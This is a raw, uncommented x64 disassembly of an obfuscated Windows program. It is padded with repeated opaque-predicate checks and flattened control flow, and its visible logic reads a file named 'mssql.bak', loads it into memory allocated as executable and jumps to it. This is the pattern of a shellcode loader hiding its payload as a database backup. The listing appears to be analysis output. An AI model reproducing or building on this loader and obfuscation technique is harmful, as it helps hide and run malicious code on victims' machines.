jmp 0x140002e6a
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400025b3
jmp 0x140002bd8
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400025e5
jmp 0x140002e8a
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140002617
jmp 0x140002e8a
jmp 0x14000275f
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000264e
jmp 0x140002e8f
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140002680
jmp 0x140002e8f
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400026b2
jmp 0x140002bf8
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400026e4
jmp 0x140002bf8
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140002716
jmp 0x140002e94
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140002748
jmp 0x140002e94
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
sub rsp, 0x20
call fcn.1400068b0
nop
lea rsp, [rbp + 0x20]
pop rbp
ret
jmp 0x14000118a
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140002796
jmp 0x140002e99
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400027c8
jmp 0x140002e99
jmp 0x140001220
jmp 0x14000145f
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140002804
jmp 0x140002e9e
mov rcx, qword [rbp - 0x20]
mov eax, 0x10
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp + 0x10]
mov rdx, rsp
mov qword [rcx], rdx
mov dword [rax], 0x2ea6
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140002857
jmp 0x140002e9e
jmp 0x14000152c
mov rcx, qword [rbp - 0x18]
mov rdx, qword [rbp - 8]
mov r8, qword [rbp - 0x30]
mov r9, qword [rbp - 0x28]
mov eax, 0x10
mov qword [rbp - 0x70], rax
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp - 0x70]
mov r10, rsp
mov qword [r9], r10
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp - 0x10]
mov r9, rsp
mov qword [r8], r9
lea r8, str.mssql.bak
mov qword [rcx], r8
mov qword [rax], 0
mov ecx, 0x104
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov rcx, qword [rbp - 8]
add rsp, 0x20
mov edx, 0x104
lea r8, [0x14001a36a]
sub rsp, 0x20
call fcn.14000acf0
mov rdx, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x38]
add rsp, 0x20
mov rax, qword [rbp + 0x10]
mov rdx, qword [rdx]
mov qword [rcx], rdx
mov dword [rax], 0x12db
jmp 0x1400016e2
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140002929
jmp 0x140002ec4
mov rax, qword [rbp + 0x10]
mov dword [rax], 0x4db7
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140002965
jmp 0x140002ec4
jmp 0x14000196c
mov rdx, qword [rbp - 8]
mov rcx, qword [rbp - 0x10]
lea r8, [0x14001a36e]
sub rsp, 0x20
call fcn.14000ae18
add rsp, 0x20
mov rax, qword [rbp + 0x10]
mov dword [rax], 0x390c
jmp 0x140001aa7
mov rax, qword [rbp + 0x10]
mov rcx, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x40]
mov rdx, qword [rdx]
cmp rdx, 0
sete dl
and dl, 1
mov byte [rcx], dl
mov dword [rax], 0x99
jmp 0x140001c7f
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400029ed
jmp 0x140002ed3
mov rax, qword [rbp + 0x10]
mov rcx, qword [rbp - 0x48]
mov r8b, byte [rcx]
mov ecx, 0x305e
mov edx, 0x124
test r8b, 1
cmovne ecx, edx
mov dword [rax], ecx
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140002a3d
jmp 0x140002ed3
jmp 0x140001d09
mov rax, qword [rbp + 0x10]
mov dword [rax], 0x4db7
jmp 0x140001ebc
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140002a83
jmp 0x140002ef6
mov rax, qword [rbp + 0x10]
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x10]
mov rdx, qword [rdx]
mov qword [rcx], rdx
mov dword [rax], 0x440d
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140002acd
jmp 0x140002ef6
jmp 0x140001ff7
mov rax, qword [rbp - 0x50]
mov rcx, qword [rax]
xor edx, edx
mov r8d, 2
sub rsp, 0x20
call fcn.14000b148
add rsp, 0x20
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax]
sub rsp, 0x20
call fcn.14000b704
mov rcx, qword [rbp - 0x20]
add rsp, 0x20
mov edx, eax
mov rax, qword [rbp - 0x10]
mov rcx, qword [rcx]
mov dword [rcx], edx
mov rcx, qword [rax]
xor r8d, r8d
sub rsp, 0x20
mov edx, r8d
call fcn.14000b148
add rsp, 0x20
mov rax, qword [rbp + 0x10]
mov dword [rax], 0x491c
jmp 0x1400021a4
mov rax, qword [rbp - 0x20]
mov rax, qword [rax]
movsxd rdx, dword [rax]
xor eax, eax
mov ecx, eax
mov r8d, 0x1000
mov r9d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rcx, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x10]
add rsp, 0x20
mov r9, rax
mov rax, qword [rbp - 0x28]
mov r8, qword [rax]
mov qword [r8], r9
mov r9, qword [rdx]
mov rcx, qword [rcx]
movsxd r8, dword [rcx]
mov rax, qword [rax]
mov rcx, qword [rax]
mov edx, 1
sub rsp, 0x20
call fcn.14000b9fc
add rsp, 0x20
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax]
sub rsp, 0x20
call fcn.14000bbe8
mov r8, qword [rbp - 0x28]
mov rdx, qword [rbp - 0x30]
mov rcx, qword [rbp - 0x58]
add rsp, 0x20
mov rax, qword [rbp + 0x10]
mov r8, qword [r8]
mov r9, qword [r8]
mov r8, qword [rdx]
mov qword [r8], r9
mov rdx, qword [rdx]
mov rdx, qword [rdx]
mov qword [rcx], rdx
mov dword [rax], 0x4d06
jmp 0x140002398
mov rax, qword [rbp - 0x58]
mov rax, qword [rax]
sub rsp, 0x20
call rax
mov rax, qword [rbp + 0x10]
add rsp, 0x20
mov dword [rax], 0x4db7
jmp 0x140002502
jmp 0x1400026b2
mov eax, 0x10
mov qword [rbp - 0x78], rax
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp - 0x78]
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp - 0x78]
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp - 0x78]
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp - 0x78]
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp - 0x78]
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp - 0x78]
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp - 0x78]
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp - 0x78]
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp - 0x78]
call fcn.140006850
sub rsp, rax
mov eax, 0x110
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp - 0x78]
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp - 0x78]
call fcn.140006850
sub rsp, rax
mov rax, rsp
mov dword [rax], 0xbb3
jmp 0x140001050
jmp 0x1400011bc
jmp 0x140001252
jmp 0x1400013fb
jmp 0x1400014c8
mov rcx, qword [rbp - 0x20]
mov eax, 0x10
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp + 0x10]
mov rdx, rsp
mov qword [rcx], rdx
mov dword [rax], 0x2ea6
jmp 0x14000155e
jmp 0x140001615
jmp 0x14000167e
jmp 0x1400017dc
mov rcx, qword [rbp - 8]
mov rax, qword [rbp - 0x38]
mov r8, qword [rax]
mov edx, 0x104
sub rsp, 0x20
call fcn.14000acf0
mov rcx, qword [rbp + 8]
mov rdx, qword [rbp - 8]
add rsp, 0x20
mov qword [rcx], 0
lea r8, [0x14001a36c]
sub rsp, 0x20
call fcn.14000ae18
add rsp, 0x20
mov r8d, eax
mov rax, qword [rbp + 0x10]
mov ecx, 0x7e87
mov edx, 0x153c
cmp r8d, 0
cmovne ecx, edx
mov dword [rax], ecx
jmp 0x140001845
jmp 0x140001908
jmp 0x1400019da
jmp 0x140001a43
mov rdx, qword [rbp - 8]
mov rcx, qword [rbp - 0x10]
lea r8, [0x14001a36e]
sub rsp, 0x20
call fcn.14000ae18
add rsp, 0x20
mov rax, qword [rbp + 0x10]
mov dword [rax], 0x390c
jmp 0x140001ad9
jmp 0x140001b95
jmp 0x140001c1b
mov rax, qword [rbp + 0x10]
mov rcx, qword [rbp - 0x48]
mov r8b, byte [rcx]
mov ecx, 0x305e
mov edx, 0x124
test r8b, 1
cmovne ecx, edx
mov dword [rax], ecx
jmp 0x140001d3b
jmp 0x140001def
jmp 0x140001e58
jmp 0x140001f2a
jmp 0x140001f93
mov rax, qword [rbp + 0x10]
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x10]
mov rdx, qword [rdx]
mov qword [rcx], rdx
mov dword [rax], 0x440d
jmp 0x140002029
jmp 0x1400020d7
jmp 0x140002140
mov rax, qword [rbp - 0x50]
mov rcx, qword [rax]
xor edx, edx
mov r8d, 2
sub rsp, 0x20
call fcn.14000b148
add rsp, 0x20
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax]
sub rsp, 0x20
call fcn.14000b704
mov rcx, qword [rbp - 0x20]
add rsp, 0x20
mov edx, eax
mov rax, qword [rbp - 0x10]
mov rcx, qword [rcx]
mov dword [rcx], edx
mov rcx, qword [rax]
xor r8d, r8d
sub rsp, 0x20
mov edx, r8d
call fcn.14000b148
add rsp, 0x20
mov rax, qword [rbp + 0x10]
mov dword [rax], 0x491c
jmp 0x1400021d6
jmp 0x1400022cb
jmp 0x140002334
jmp 0x14000249e
mov rax, qword [rbp - 0x58]
mov rax, qword [rax]
sub rsp, 0x20
call rax
mov rax, qword [rbp + 0x10]
add rsp, 0x20
mov dword [rax], 0x4db7
jmp 0x140002534
jmp 0x1400025e5
jmp 0x14000264e
jmp 0x140002716
jmp 0x140002796
mov rcx, qword [rbp - 0x20]
mov eax, 0x10
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp + 0x10]
mov rdx, rsp
mov qword [rcx], rdx
mov dword [rax], 0x2ea6
jmp 0x140002804
mov rax, qword [rbp + 0x10]
mov dword [rax], 0x4db7
jmp 0x140002929
mov rax, qword [rbp + 0x10]
mov rcx, qword [rbp - 0x48]
mov r8b, byte [rcx]
mov ecx, 0x305e
mov edx, 0x124
test r8b, 1
cmovne ecx, edx
mov dword [rax], ecx
jmp 0x1400029ed
mov rax, qword [rbp + 0x10]
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x10]
mov rdx, qword [rdx]
mov qword [rcx], rdx
mov dword [rax], 0x440d
jmp 0x140002a83